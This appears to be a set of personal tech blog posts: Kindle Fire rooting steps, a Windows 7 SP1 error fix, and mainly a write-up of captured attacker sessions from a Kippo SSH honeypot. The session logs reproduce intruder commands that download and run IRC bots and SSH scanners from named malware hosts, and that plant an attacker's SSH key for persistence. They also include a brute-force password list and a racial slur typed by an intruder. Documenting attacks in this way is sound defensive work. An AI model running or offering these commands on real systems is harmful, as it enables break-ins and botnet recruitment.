tar cvpzf backup.tgz --exclude=/proc --exclude=/lost+found --exclude=/mnt --exclude=/sys --exclude=/dev --exclude=/usr --exclude=/bin --exclude=/sbin --exclude=/backup.tgz /

Rooting Kindle Fire

2011-12-10T00:00:00+01:00

The following overview is just a reminder, mainly aimed at myself in the future, on how to root the kindle fire.

1. Install Android SDK

Download from http://developer.android.com/sdk/index.html
Update packages

2. In Kindle: “Allow Installation of Applications From Unknown Sources”

3. Edit android_winusb.inf in usb_driver in Android install path

Copy and paste right beneath [Google.NTx86] and [Google.NTamd64] line:

;Kindle Fire %SingleAdbInterface% = USB_Install, USB\VID_1949&PID_0006 %CompositeAdbInterface% = USB_Install, USB\VID_1949&PID_0006&MI_01

4. Edit adb_usb.ini in .android

Add 0x1949

5. Update USB driver

“Update Driver Software” in Device Manager with android_winusb.inf

6. (Optional) test USB

In platform-tools, issue adb kill-server and adb devices

7. SuperOneClick root

Download from ftp://shortfuse.org/SuperOneClick/Packages/SuperOneClickv2.2-ShortFuse.zip

8. Get Root Explorer v2.17.1.apk and Vending.3.3.12.apk, together with Google Services Framework apk

9. Finalisation

Install Google Service Framework apk and Root Explorer apk
“Move” Vending apk to /system/app with Root Explorer
Mount as RW and set Vending apk filepermissions to rw-r-r-
Install Vending apk and reboot

Quick Fix: Windows 7 Service Pack 1 Error 80073701

2011-03-27T00:00:00+01:00

If your Windows 7 service pack upgrade is failing with error code 80073701, you might be able to fix it with the following steps. I’ve had to search around quite a bit before resolving this error, mainly because I saw the first and second solutions listed below pop up everywhere, but it was the third solution that actually fixed the problem for me in the end.

Solution 1: reset Windows Update components (you’ve probably done this already)

Download the Fix It tool from this Microsoft KB article and run it. Afterwards, restart your computer and try installing SP1 again.

Solution 2: run the System Update Readiness Tool (you’ve probably done this, too)

The tool can be downloaded from this Microsoft KB article. Make sure to download the correct version. Note that the updates installed by this tool might take a long time to complete. It will appear as if the installation process is stuck. Don’t worry, as the progress bar might go from zero to hundred per cent in an instant, just be patient. Afterwards, restart your computer and try installing SP1 again.

Solution 3: check out the logs and run lpksetup (this might be new)

Still no dice? Then check the logs at c:\Windows\Logs\CBS\CheckSUR.log and/or c:\Windows\Logs\CBS\CheckSUR.persist.log. These will give you more detailed information about the error. For me, and for this user at superuser.com, the culprit was a language pack.

However, contrary to the user mentioned above, I am not using a language other than the default English, and cannot recall ever installing one. I ignored the language pack problem (as re-installing a language pack was not an option for me) until I learned about the Language Pack Setup Tool. Just run lpksetup.exe from your Start Menu. A window will pop up asking you if you want to install or uninstall a language pack. Pick uninstall. Sure enough, a list of languages was presented: English (the in use, default and system language), and some other language (Portuguese or Spanish, I can’t remember) with a yellow danger sign marking that it was in a broken state. Very strange indeed. After selecting the language for removal and pressing next, the situation was promptly resolved. Deinstalling the language took just a few seconds, probably because no language files were actually present on the disk.

Anyway, after this small operation, installing SP1 went smoothly.

Running A SSH Honeypot With Kippo: Let’s Catch Some Script Kiddies

2011-03-10T00:00:00+01:00

Introduction

While exploring Fail2Ban during one of my previous posts, it amazed me how many break-in attempts I received, trying to brute force passwords on the SSH daemon. To recap, Fail2Ban does this:

Fail2ban scans log files like /var/log/pwdfail or /var/log/apache/error_log and bans IP that makes too many password failures. It updates firewall rules to reject the IP address.

There are many articles (this is one of them) on the web which describe how you can harden your SSH server, like preventing root logins, to give an example. After getting one Fail2Ban warning after another, I decided to also move my SSH server to another port. And lo and behold, the attacks stopped almost completely. This is an example of security through obscurity, of course, but it shows that most of the attacks are performed by bots or script kiddies who don’t look further than port 22, so why not implement this simple chance.

Of course, now port 22 was free to do something else…

Enter Kippo

Around this time (a few months ago), I also came across a program called Kippo:

Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker.

Kippo is written in Python and pretty easy to install (the required dependencies are all listed on the homepage). The only thing which needs a bit of setting up is getting Kippo to listen to port 22 (we want our honeypot to catch as much as possible). This wiki page describes how to do just that.

Kippo does not need much setting up, and comes with a lot of Linux commands re-implemented (like wget, adduser, apt-get). The most important thing to do is to take look at kippo.cfg and to create the simulated file system using utils/createfs.py. You can also easily add other commands if you’re know what you’re doing (take a look in txtcmds/ and kippo/commands/).

After waiting for a week, I examined the logs to find out which passwords were used to try to login at the honeypot. By default, Kippo only comes with one root password it will accept (“123456”), but you can use the utils/passdb.py script to add more. I added these most commonly tried passwords:

aditzul92
admin1
enter
fuckoff
god
lacramioara
letmein
linux
love
passwd
r00t
rootroot
secret
sex
snickhacklol123
test
070790
123456
1q2wazsx
administrator
dragon
fuck
manager
monkey
p0p0c@t3p3tldiej
password
q1w2e3r4
root1
swordfish

It’s well known that brute force programs use so called wordlists which contain the most common passwords to try and break in into a server. If you notice that one of your used passwords is present in the list above, I would strongly suggest to change it. Then, I waited…

A few months later

When looking at my logs now, I’ve had thousands of break-in attempts, hundreds of which “succeeded”. The interesting thing about Kippo is that it actually logs the shell session of the hacker. These shell sessions can be divided into three categories:

People who immediately leave once they’re logged in, probably to come back later or just take note that this server is indeed available.
People who do some basic fingerprinting of the server, using w, /proc/cpuinfo, uptime and uname -a to figure out the basics of the server. Most hackers also used wget to download a large file to test the download rate of the server. Funnily enough, this was almost always the Windows 2000 SP3. Probably because it’s (a) a large file and (b) hosted by a server you know is fast (Microsoft) and (c) is one of the few files on Microsoft’s website which is still hotlinkable.
People who performed some fingerprinting and proceeded to download and extract malware. Here Kippo intercepted the attempts to run executables and showed some bogus error messages, after which the hackers disconnected.

Viewing the logs allows for some interesting observations:

Most of the attempts aren’t thorough. Most hackers quickly move on when an attempt seems to fail.
The tools used have been repacked and rewritten multiple times. Most of the tools are outdated, contain leftover files from previous installations or attempts, or contain weak attempts at automation shell scripts (with even sillier ASCII art).
The main reasons for hacking a server seems to be: (a) installing tools to hack more servers, (b) installing hidden web servers, (c) installing IRC daemons or bouncers, (d) installing IRC bots. Surprisingly, almost none of the hackers tried to completely nuke the system.
A few hackers spotted that a honeypot was in place. Most did not, despite the fact that Kippo is sometimes very blatant about this fact, by taunting with fake error messages.
It seems that the hackers (I actually mean “script kiddies” whenever I say “hackers”) are following some kind of memorized script. Most of the attempts used to exact same fingerprinting and tried to execute the exact same tools. It makes one wonder if there’s a “SSH hacking school” out there somewhere. More realistically speaking, there probably is a “hacking tutorial” on a forum somewhere showing which commands you have to execute.

A look at some attempts

Let’s look at some of the shell sessions, shall we? I wanted to show an exact replay of the terminal sessions (like the demos on the Kippo homepage, but this proved to be too difficult. (Kippo’s log files are not easily read, and while I did code up a conversion tool and the basics of a Javascript replaying script, it under performed on browsers other than Chrome, and I decided it was not worth further effort).

First example

This attempt shows some of the basic fingerprinting performed by the hackers, and Kippo’s faked response. Afterwards, the hacker tries to download an IRC bot. Kippo taunts with an “O RLY” message.

server:~# w
 23:40:45 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    188.131.103.31    23:33    0.00s  0.00s  0.00s w

server:~# uptime
 23:30:42 up 14 days,  3:53,  0 users,  load average: 0.08, 0.02, 0.01

server:~# cat /proc/cpuinfo
processor    : 0
vendor_id    : GenuineIntel
cpu family    : 6
model        : 23
model name    : Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz
stepping    : 6
cpu MHz        : 2133.305
cache size    : 6144 KB
physical id    : 0
siblings    : 2
core id        : 0
cpu cores    : 2
apicid        : 0
initial apicid    : 0
fpu        : yes
fpu_exception    : yes
cpuid level    : 10
wp        : yes
flags        : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips    : 4270.03
clflush size    : 64
cache_alignment    : 64
address sizes    : 36 bits physical, 48 bits virtual
power management:
processor    : 1
vendor_id    : GenuineIntel
cpu family    : 6
model        : 23
model name    : Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz
stepping    : 6
cpu MHz        : 2133.305
cache size    : 6144 KB
physical id    : 0
siblings    : 2
core id        : 1
cpu cores    : 2
apicid        : 1
initial apicid    : 1
fpu        : yes
fpu_exception    : yes
cpuid level    : 10
wp        : yes
flags        : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips    : 4266.61
clflush size    : 64
cache_alignment    : 64
address sizes    : 36 bits physical, 48 bits virtual
power management:

server:~# uname -a
Linux server 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux

server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc

server:~# ps x
  PID TTY          TIME CMD
 5673 pts/0    00:00:00 bash
 5677 pts/0    00:00:00 ps x

server:~# wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
--2011-01-26 23:31:12--  http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
Connecting to download.microsoft.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 130978672 (124M) [application/octet-stream]
Saving to: `W2Ksp3.exe
 7% [===>                                   ] 10,422,763   1731K/s  eta 1m 9s^C
200 OK

server:~# rm -rf W2Ksp3.exe

server:~# wget http://eu-ro.ca/img.tar
--2011-01-26 23:31:31--  http://eu-ro.ca/img.tar
Connecting to eu-ro.ca:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 659886 (644K) [application/x-tar]
Saving to: `img.tar
100%[======================================>] 659,886      219K/s  eta 0s
2011-01-26 23:31:34 (219 KB/s) - `img.tar' saved [659886/659886]

server:~# tar zxvf img.tar
.img
.img/start
.img/run
.img/r
.img/r/rversions.e
.img/r/rtsay.e
.img/r/rsignoff.e
.img/r/rsay.e
.img/r/rpickup.e
.img/r/rnicks.e
.img/r/rkicks.e
.img/r/rinsult.e
.img/r/raway.e
.img/pico
.img/m.help
.img/inst
.img/bash
.img/autorun
.img
.img/start
.img/run
.img/r
.img/r/rversions.e
.img/r/rtsay.e
.img/r/rsignoff.e
.img/r/rsay.e
.img/r/rpickup.e
.img/r/rnicks.e
.img/r/rkicks.e
.img/r/rinsult.e
.img/r/raway.e
.img/pico
.img/m.help
.img/inst
.img/bash
.img/autorun

server:~# cd .img

server:/root/.img# chmod +x *

server:/root/.img# ./start +s
  ___
 {o,o}
 |)__)
 -"-"-
O RLY? cd
  ___
 {o,o}
 |)__)
 -"-"-
O RLY? cd ..
  ___
 {o,o}
 |)__)
 -"-"-
O RLY?

Second example

Another one (I’ve removed the fingerprinting from now on). Here, ftp, apt-get and yum are tried before settling with wget. Another interesting thing to see here is that the tool is actually stored in what “looks” like an image file: scanmorf.jpg. Changing the extension is a tactic often used to upload files to web servers who only perform some basic filename checks. In this case, root-arhive.do.am might be an innocent, hacked website. The pscan tool used here will return often and is used to scan IP blocks for open SSH servers.

server:~# ftp zorro89.trei.ro
bash: ftp: command not found

server:~# apt-get
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)
E: Unable to lock the list directory

server:~# yum
bash: yum: command not found

server:~# wget
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.

server:~# http://root-arhive.do.am/scanner/scanmorf.jpg ; tar zxvf scanmorf.jpg ; cd .shm.xcgi?F6=1 ; chmod wget +x *
--2011-01-26 23:53:38--  http://root-arhive.do.am/scanner/scanmorf.jpg
Connecting to root-arhive.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12466 (12K) [image/jpeg]
Saving to: `scanmorf.jpg
100%[======================================>] 12,466       2K/s  eta 4s

2011-01-26 23:53:38 (2 KB/s) - `scanmorf.jpg' saved [12466/12466]

.shm.xcgi?F6=1
.shm.xcgi?F6=1/12.pscan.80
.shm.xcgi?F6=1/Horde
.shm.xcgi?F6=1/sd.pscan.80
.shm.xcgi?F6=1/h
.shm.xcgi?F6=1/a
.shm.xcgi?F6=1/23.pscan.80
.shm.xcgi?F6=1/paths
.shm.xcgi?F6=1/ps
.shm.xcgi?F6=1/a.pl
.shm.xcgi?F6=1/scan

server:/root/.shm.xcgi?F6=1# ls
12.pscan.80 Horde       sd.pscan.80 h           a           23.pscan.80 paths       ps          a.pl        scan

server:/root/.shm.xcgi?F6=1# ls -all
drwxr-xr-x 1 root root  4096 2011-01-26 23:53 .
drwxr-xr-x 1 root root  4096 2011-01-26 23:53 ..
-rwxr-xr-x 1 root root     0 2011-01-22 02:25 12.pscan.80
-rwxr-xr-x 1 root root 14372 2011-01-22 02:28 Horde
-rwxr-xr-x 1 root root  9516 2011-01-22 02:25 sd.pscan.80
-rwxr-xr-x 1 root root  2720 2006-05-05 15:56 h
-rwxr-xr-x 1 root root    23 2006-05-05 15:55 a
-rw-r--r-- 1 root root     0 2011-01-22 02:28 23.pscan.80
-rwxr-xr-x 1 root root    50 2006-05-05 15:56 paths
-rwxr-xr-x 1 root root 13432 2011-01-22 02:28 ps
-rwxr-xr-x 1 root root  1165 2006-05-05 15:56 a.pl
-rwxr-xr-x 1 root root   857 2011-01-22 02:28 scan

server:/root/.shm.xcgi?F6=1# ./scan 88.198
  ___
 {o,o}
 |)__)
 -"-"-
O RLY? y
  ___
 {o,o}
 (__(|
 -"-"-
NO WAI!

server:/root/.shm.xcgi?F6=1# ./a 88.198
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory

Third example

Some intruders are friendly enough to change the root password for us. This would actually be an interesting concept to add to Kippo: when you notice a passwd command being executed, try to set up a reverse SSH connection to the attacker (probably possible since the attackers often use hacked servers themselves) and login with that password. When the same password is used during each hack attempt, we would probably be able to reclaim the originating server. Two tools are downloaded here. One is a flooding IRC bot, the other is a rehash of the pscan tool from above, with some automation shell scripts added (dubbed gosh here). It’s also interesting to note that most of the hackers try to cover their tracks by removing their downloads.

server:~# w
 23:35:44 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    82.57.163.232     23:35    0.00s  0.00s  0.00s w

server:~# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully

server:~# cd ..

server:/# cd var

server:/var# cd tmp

server:/var/tmp# ls

server:/var/tmp# wget http://www.denysa.net/denysa/flood.tgz
--2011-01-26 23:36:24--  http://www.denysa.net/denysa/flood.tgz
Connecting to www.denysa.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 227324 (221K) [application/x-compressed]
Saving to: `flood.tgz

100%[======================================>] 227,324      51K/s  eta 2s

2011-01-26 23:36:26 (51 KB/s) - `flood.tgz' saved [227324/227324]

server:/var/tmp# wget http://gblteam.webs.com/gosh.tgz.tar
--2011-01-26 23:36:44--  http://gblteam.webs.com/gosh.tgz.tar
Connecting to gblteam.webs.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1642769 (1M) [application/x-tar]
Saving to: `gosh.tgz.tar

100%[======================================>] 1,642,769    658K/s  eta 0s

2011-01-26 23:36:46 (658 KB/s) - `gosh.tgz.tar' saved [1642769/1642769]

server:/var/tmp# tar zxvf gosh.tgz.tar
gosh
gosh/3
gosh/4
gosh/common
gosh/go.sh
gosh/scam
gosh/pscan2
gosh/ss
gosh/5
gosh/vuln.txt
gosh/1
gosh/mfu.txt
gosh/pass_file
gosh/gen-pass.sh
gosh/secure
gosh/2
gosh/ssh-scan
gosh/a

server:/var/tmp# cd gosh

server:/var/tmp/gosh# ls
3           4           common      go.sh       scam        pscan2
ss          5           vuln.txt    1           mfu.txt     pass_file
gen-pass.sh secure      2           ssh-scan    a

server:/var/tmp/gosh# touch bios.txt

server:/var/tmp/gosh# chmod +x *

server:/var/tmp/gosh# ./go.sh 114
  ___
 {o,o}
 |)__)
 -"-"-
O RLY? y

  ___
 {o,o}
 (__(|
 -"-"-
NO WAI!

server:/var/tmp/gosh# cd ..

server:/var/tmp# rm -rf gosh

server:/var/tmp# ls
flood.tgz    gosh.tgz.tar

server:/var/tmp# tar zxvf flood.tgz
f
f/1
f/P&uÃ·
f/PÂ¦uÃ·
f/b
f/b2
f/bang.txt
f/f
f/f4
f/fwd
f/hide
f/httpd
f/j
f/j2
f/mech.help
f/mech.set
f/s
f/sl
f/start.sh
f/std
f/stream
f/tty
f/v
f/v2
f/x

server:/var/tmp# cd f

server:/var/tmp/f# rm -rf f

server:/var/tmp/f# ls
1         P&uÃ·   PÂ¦uÃ·  b         b2        bang.txt  f4        fwd
hide      httpd     j         j2        mech.help mech.set  s         sl
start.sh  std       stream    tty       v         v2        x

server:/var/tmp/f# ./httpd
unable to open display ":0"

server:/var/tmp/f# chmod +x *

server:/var/tmp/f# ./httpd
unable to open display ":0"

server:/var/tmp/f# cd..
bash: cd..: command not found

server:/var/tmp/f# cd ..

server:/var/tmp# rm -rf f

server:/var/tmp# ls
flood.tgz    gosh.tgz.tar

server:/var/tmp# rm -rf flood.tgz

server:/var/tmp# rm -rf gosh.tgz.tar93

Fourth example

Another attempt. Checking out the website http://eu-ro.ca/ reveals what seems to be a Romanian hacker group/set-up. Peeking in the bot configuration often reveals obscure IRC channels on Undernet. Following these channels quickly leads you to a whole set-up of channels, bots, and hackers. If you manage to lay low there, you can gain a lot of info (bot commands, group leaders, group set-up, targets and so on), but be prepared for some bans and insults as well. If I had some more spare time, I would set up a few dedicated honeypots (with more advanced shell simulation) and try to uncover more.

server:~# mkdir /tmp/.user

server:~# cd /tmp/.user

server:/tmp/.user# wget http://eu-ro.ca/.kde.tgz
--2011-01-26 23:46:15--  http://eu-ro.ca/.kde.tgz
Connecting to eu-ro.ca:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1238822 (1M) [application/x-gzip]
Saving to: `.kde.tgz

100%[======================================>] 1,238,822    327K/s  eta 0s

2011-01-26 23:46:19 (327 KB/s) - `.kde.tgz' saved [1238822/1238822]

server:/tmp/.user# tar zxvf .kde.tgz
.kde
.kde/pass_filees
.kde/pscan2
.kde/a1
.kde/common
.kde/pass_file
.kde/ssh-scan
.kde/auto
.kde/ss
.kde/go.sh
.kde/a
.kde/gen-pass.sh
.kde/start
.kde/vuln.txt
.kde
.kde/pass_filees
.kde/pscan2
.kde/a1
.kde/common
.kde/pass_file
.kde/ssh-scan
.kde/auto
.kde/ss
.kde/go.sh
.kde/a
.kde/gen-pass.sh
.kde/start
.kde/vuln.txt

server:/tmp/.user# cs .kde
bash: cs: command not found

server:/tmp/.user# cd .kde

server:/tmp/.user/.kde# ls -a
.           ..          pass_filees pscan2      a1          common
pass_file   ssh-scan    auto        ss          go.sh       a
gen-pass.sh start       vuln.txt

server:/tmp/.user/.kde# chmod +x *

server:/tmp/.user/.kde# ./a 210.133
unable to open display ":0"

server:/tmp/.user/.kde# chmod +x *

server:/tmp/.user/.kde# ./start 28
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory

server:/tmp/.user/.kde# cd ..

server:/tmp/.user# ls-a
bash: ls-a: command not found

server:/tmp/.user# ls -a
.        ..       .kde.tgz .kde     .kde

server:/tmp/.user# wget bila.do.am/bila.tgz
--2011-01-26 23:50:26--  http://bila.do.am/bila.tgz
Connecting to bila.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 262027 (255K) [application/octet-stream]
Saving to: `bila.tgz

100%[======================================>] 262,027      6K/s  eta 42s

2011-01-26 23:50:27 (6 KB/s) - `bila.tgz' saved [262027/262027]

server:/tmp/.user# tar zxvf bila.tgz
.tmp
.tmp/cyc.acc
.tmp/ -bash
.tmp/s.sh
.tmp/cyc.set
.tmp/pico
.tmp/stealth

server:/tmp/.user# ls -a
.        ..       .kde.tgz .kde     .kde     bila.tgz .tmp

server:/tmp/.user# cd .tmp

server:/tmp/.user/.tmp# ls -a
.       ..      cyc.acc  -bash  s.sh    cyc.set pico    stealth

server:/tmp/.user/.tmp# ./stealth
unable to open display ":0"

Fifth example

Another straightforward attempt. Also here, the website http://arhiva.do.am seems to be used as a dump for hosting malware.

server:~# wget http://arhiva.do.am/dabian.tgz
--2011-01-27 00:18:22--  http://arhiva.do.am/dabian.tgz
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 404 Not Found

server:~# wget http://arhiva.do.am/arhiva.tgz
--2011-01-27 00:18:57--  http://arhiva.do.am/arhiva.tgz
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 404 Not Found

server:~# wget http://arhiva.do.am/scan.tar
--2011-01-27 00:19:28--  http://arhiva.do.am/scan.tar
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1484800 (1M) [application/octet-stream]
Saving to: `scan.tar

100%[======================================>] 1,484,800    518K/s  eta 0s

2011-01-27 00:19:31 (518 KB/s) - `scan.tar' saved [1484800/1484800]

server:~# tar xvf scan.tar
scan
scan/sshf
scan/a6
scan/start
scan/pass_sh
scan/a5
scan/gen-pass.sh
scan/ssh-scan
scan/test.sh
scan/README
scan/200.pscan.22
scan/pass_file
scan/sshf0
scan/pscan2
scan/pico
scan/pass_filees
scan/vuln.txt
scan/a4
scan/a1
scan/a2
scan/mfu.txt
scan/a
scan/common

server:~# rm -rf scan.tar

server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   scan

server:~# cd scan

server:/root/scan# ./a 64.189
Shall we play a game?

Sixth example

Another attempt. Here, three different malware programs are tried out before giving up. It’s also interesting to see where intruders hide their downloads, some use /root, some /tmp, some esoteric locations like /tmp/....

server:~# wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.

server:~# yum
bash: yum: command not found

server:~# wget freewebtown.com/pacalici/lib.tgz
--2011-02-09 00:30:57--  http://freewebtown.com/pacalici/lib.tgz
Connecting to freewebtown.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8772939 (8M) [application/x-tar]
Saving to: `lib.tgz

100%[======================================>] 8,772,939    1844K/s  eta 0s


2011-02-09 00:31:02 (1844 KB/s) - `lib.tgz' saved [8772939/8772939]

server:~# tar zxvf lib.tgz
lib
lib/mech.pid
lib/fuck
lib/j2
lib/v
lib/s
lib/r
lib/__libc_start_main
lib/std
lib/b
lib/bang.txt
lib/j
lib/1
lib/f4
lib/dir
lib/y2kupdate
lib/fwd
lib/x
lib/mech.set
lib/tty
lib/cron.d
lib/h
lib/sl
lib/b2
lib/W2Ksp3.exe
lib/tun.seen
lib/f
lib/h.c
lib/stream
lib/v2
lib/init

server:~# rm -rf lib.tgz

server:~# cd lib

server:/root/lib# ./y2kupdate
unable to open display ":0"

server:/root/lib# ./init
unable to open display ":0"

server:/root/lib# cd

server:~# ls
lib

server:~# cd /dev

server:/dev# wget freewebtown.com/pacalici/bf.tgz
--2011-02-09 00:32:05--  http://freewebtown.com/pacalici/bf.tgz
Connecting to freewebtown.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 392378 (383K) [application/x-tar]
Saving to: `bf.tgz

100%[======================================>] 392,378      9K/s  eta 39s

2011-02-09 00:32:06 (9 KB/s) - `bf.tgz' saved [392378/392378]

server:/dev# tar zxvf bf.tgz
mc-root
mc-root/go
mc-root/cyc.set
mc-root/cyc.help
mc-root/cyc.levels
mc-root/bash
mc-root/udp.pl
mc-root/stealth
mc-root/randfiles
mc-root/randfiles/randkicks.e
mc-root/randfiles/randaway.e
mc-root/randfiles/randsignoff.e
mc-root/randfiles/randinsult.e
mc-root/randfiles/randversions.e
mc-root/randfiles/randsay.e
mc-root/randfiles/randpickup.e
mc-root/randfiles/randnicks.e
mc-root/cyc.acc
mc-root/pico.tgz
mc-root/pico
mc-root/cyc.pid

server:/dev# rm -rf bf.tgz

server:/dev#

server:/dev# cd mc-root

server:/dev/mc-root# ./go
unable to open display ":0"

server:/dev/mc-root# ls
go         cyc.set    cyc.help   cyc.levels bash       udp.pl     stealth
randfiles  cyc.acc    pico.tgz   pico       cyc.pid

server:/dev/mc-root# cd

server:~#

server:~#

server:~# wget pibo.com/.x/scan/wtf.tar
--2011-02-09 00:35:09--  http://pibo.com/.x/scan/wtf.tar
Connecting to pibo.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1574103 (1M) [application/x-tar]
Saving to: `wtf.tar

100%[======================================>] 1,574,103    299K/s  eta 1s

2011-02-09 00:35:13 (299 KB/s) - `wtf.tar' saved [1574103/1574103]

server:~# tar xzvf wtf.tar
wtf
wtf/a
wtf/a1
wtf/auto
wtf/common
wtf/gen-pass.sh
wtf/go.sh
wtf/pass_file
wtf/pscan2
wtf/scam
wtf/sh
wtf/ss
wtf/ssh-scan
wtf/start
wtf/vuln.txt

server:~# cd wtf

server:/root/wtf# chmod +x *

server:/root/wtf# ./a 100
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory

server:/root/wtf#

Seventh example

Not only is this intruder very offensive, he also quickly spotted the honeypot.

server:~# adduser nigger
Adding user `nigger' ...
Adding new group `nigger' (1001) ...
Adding new user `nigger' (1001) with group `nigger' ...
Creating home directory `/home/nigger' ...
Copying files from `/etc/skel' ...
Password:
Password again:

Changing the user information for nigger

Enter the new value, or press ENTER for the default

        Username []:
Must enter a value!
        Username []: only
        Full Name []: dumb
        Room Number []: niggers
        Work Phone []: use
        Home Phone []: honeypot
        Mobile Phone []: you
        Country []: stupid
        City []: nigger
        Language []: HA
        Favorite movie []: HA
        Other []: HA
Is the information correct? [Y/n] y
ERROR: Some of the information you entered is invalid
Deleting user `nigger' ...
Deleting group `nigger' (1001) ...
Deleting home directory `/home/nigger' ...
Try again? [Y/n] n

Eight example

This guy tried adding his SSH keys and installing software again and again and was one of the most persistent intruders.

server:~# cd

server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc

server:~# cd /root

server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc

server:~# cd ..

server:/# ls -a
.          ..         sys        bin        mnt        media      vmlinuz
opt        cdrom      selinux    tmp        proc       sbin       etc
dev        srv        initrd.img lib        home       var        usr
boot       root       lost+found

server:/# cd

server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc

server:~# mkdir .ssh

server:~# cd .ssh

server:/root/.ssh# ls -a

server:/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys

server:/root/.ssh# ls  -a

server:/root/.ssh# dir
bash: dir: command not found

server:/root/.ssh# ls -a

server:/root/.ssh# cd ..

server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   .ssh

server:~# rm -rf .ssh

server:~# cd .root
bash: cd: .root: No such file or directory

server:~# cd /root

server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc

server:~# mkdir .ssh

server:~# cd .ssh

server:/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys

server:/root/.ssh# cd ..

server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   .ssh

server:~# rm -rf .ssh

server:~# cd ..

server:/# ls -a
.          ..         sys        bin        mnt        media      vmlinuz
opt        cdrom      selinux    tmp        proc       sbin       etc
dev        srv        initrd.img lib        home       var        usr
boot       root       lost+found

server:/# cd home

server:/home# ls -a
.       ..      richard

server:/home# cd ..

server:/# ls -a
.          ..         sys        bin        mnt        media      vmlinuz
opt        cdrom      selinux    tmp        proc       sbin       etc
dev        srv        initrd.img lib        home       var        usr
boot       root       lost+found

server:/# mkdir .ssh

server:/# cd .ssh

